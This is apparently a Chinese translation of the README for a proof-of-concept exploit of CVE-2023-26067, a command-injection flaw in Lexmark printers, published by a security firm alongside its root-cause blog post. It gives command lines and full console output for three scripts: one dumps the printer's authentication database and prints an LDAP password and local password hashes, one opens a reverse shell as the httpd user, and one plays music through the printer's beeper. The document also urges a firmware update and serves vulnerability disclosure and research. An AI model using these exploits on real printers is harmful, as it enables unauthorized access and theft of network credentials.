通过滥用影响 Lexmark 打印机的命令注入漏洞 CVE-2023-26067，实现凭据转储、反向 Shell 和播放音乐的 POC。
该漏洞的技术根因分析可在我们的博客上查看： https://www.horizon3.ai/lexmark-command-injection-vulnerability-zdi-can-19470-pwn2own-toronto-2022
此 POC 滥用命令注入漏洞，以 httpd 用户身份获取 Shell
python3 CVE-2023-26067.py -u http://192.168.0.207 -l 192.168.0.69
[*] Sending wakeup 1
[*] Sending wakeup 2
[*] Checking if vulnerable page is accessible
[*] Vulnerable page accessible!
[*] Checking if vulnerable
[*] Sending payload to server...
[*] Listening for blind output on 0.0.0.0:443
[*] Sent payload
[+] id output: uid=985(httpd) gid=982(httpd) groups=982(httpd)
[*] Attempting to dump auth database
[*] Sending payload to server...
[*] Starting HTTP server on 8443
[*] Sent payload
[*] Waiting to pilfer database...
[+] LDAP Credentials:
svc_print:Sm0k3123!
[+] Local Credentials:
admin:$5$rounds=5287$6Y1cf0tBS3OwZuq8$pawzA66JhU/SfsSMRct99OFbaliCs.JiXuIPAYJTI/4
bob:$5$rounds=9194$bolamYfd6e11yH8H$d1XSMlK8c5UqfletJAPHvv8L1CHKBgBNufcCkWluX4C
sudo python3 Print4Shell.py -r 192.168.1.185 -l 192.168.1.212
[*] Sending wakeup 1...
[*] Sending wakeup 2...
[*] Starting listener on 0.0.0.0:443...
[*] Sending payload to server...
httpd@ls:/usr/share/web/cgi-bin$
python3 BitConductor.py -s mario
Converting: mario
----------
rob call applications.beeper customBeep "{({iii}{iii}{iii}{iii}{iii}{iii}{iii}{iii}{iii}{iii}{iii}{iii}{iii}{iii}{iii})}" song frequency 195 duration 180 offDuration 70 frequency 195 duration 180 offDuration 210 frequency 195 duration 180 offDuration 210 frequency 155 duration 180 offDuration 70 frequency 195 duration 180 offDuration 210 frequency 233 duration 180 offDuration 490 frequency 233 duration 180 offDuration 490 frequency 155 duration 180 offDuration 490 frequency 116 duration 180 offDuration 210 frequency 97 duration 180 offDuration 350 frequency 130 duration 180 offDuration 210 frequency 146 duration 180 offDuration 210 frequency 138 duration 180 offDuration 70 frequency 130 duration 180 offDuration 210 frequency 116 duration 180 offDuration 140
----------
rob call applications.beeper customBeep "{({iii}{iii}{iii}{iii}{iii}{iii}{iii}{iii}{iii}{iii}{iii}{iii}{iii}{iii}{iii})}" song frequency 195 duration 180 offDuration 70 frequency 233 duration 180 offDuration 140 frequency 261 duration 180 offDuration 210 frequency 207 duration 180 offDuration 70 frequency 233 duration 180 offDuration 210 frequency 195 duration 180 offDuration 210 frequency 155 duration 180 offDuration 70 frequency 174 duration 180 offDuration 70 frequency 146 duration 180 offDuration 350 frequency 155 duration 180 offDuration 350 frequency 97 duration 180 offDuration 350 frequency 130 duration 180 offDuration 210 frequency 146 duration 180 offDuration 210 frequency 138 duration 180 offDuration 70 frequency 130 duration 180 offDuration 210
----------
rob call applications.beeper customBeep "{({iii}{iii}{iii}{iii}{iii}{iii}{iii}{iii}{iii}{iii})}" song frequency 116 duration 180 offDuration 140 frequency 195 duration 180 offDuration 70 frequency 233 duration 180 offDuration 140 frequency 261 duration 180 offDuration 210 frequency 207 duration 180 offDuration 70 frequency 233 duration 180 offDuration 210 frequency 195 duration 180 offDuration 210 frequency 155 duration 180 offDuration 70 frequency 174 duration 180 offDuration 70 frequency 146 duration 180 offDuration 0
https://github.com/horizon3ai/CVE-2023-26067/assets/18901000/260400e5-83a3-4491-a159-1193660b9da4
请按照 Lexmark 安全公告中的说明更新到最新的固件版本
本软件仅出于学术研究和开发有效防御技术的目的而创建，除明确授权外，不应用于攻击系统。项目维护者不对软件的滥用行为负责或承担责任。请负责任地使用。